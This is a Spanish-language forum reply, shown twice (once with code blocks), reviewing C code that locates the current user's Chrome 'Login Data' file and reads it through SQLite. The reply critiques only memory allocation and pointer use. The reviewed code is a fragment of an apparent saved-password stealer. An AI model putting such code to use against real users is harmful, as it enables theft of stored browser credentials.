Hola primero que nada gracias por el aporte, se mira genial aun no lo pruebo
ya que ando en linux pero pronto lo hare.
Bueno en fin vengo con una serie de dudas:
Porque te declaras y reservas dos punteros char y no los liberas?
Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion
Pero viendo la implementacion:
Para lo unico que lo utilizas es para pasarle la referencia a la funcion sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;
y basta con pasarle la referencia
Mismo caso para la variable
se puede reservar en la pila:
Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.
Conclusion para la variable cData segun la documentacion no es necesario reservarle memoria ya que solo funciona como apuntador, basta con que la declararas asi:
Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo

Bueno en fin vengo con una serie de dudas:
Porque te declaras y reservas dos punteros char y no los liberas?
Código (c) [Seleccionar]
char *cDir = (char *)malloc(sizeof(char) * 200);
const char *cData = (char *)malloc(sizeof(char) * 140);
Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion
Código (c) [Seleccionar]
void ChromeDirectory(char *Disk, char *cDir)
Pero viendo la implementacion:
Código (c) [Seleccionar]
void ChromeDirectory(char *Disk, char *cDir)
{
DWORD I = 40;
GetUserName(CurUser, &I);
sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}
Para lo unico que lo utilizas es para pasarle la referencia a la funcion sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;
Código (c) [Seleccionar]
char cDir[200];
y basta con pasarle la referencia
Código (c) [Seleccionar]
ChromeDirectory("C:\\", &cDir);
Mismo caso para la variable
Código (c) [Seleccionar]
const char *cData = (char *)malloc(sizeof(char) * 140);
se puede reservar en la pila:
Código (c) [Seleccionar]
const char cData[140];
Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.
Conclusion para la variable cData segun la documentacion no es necesario reservarle memoria ya que solo funciona como apuntador, basta con que la declararas asi:
Código (c) [Seleccionar]
unsigned char *CData=NULL
Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo
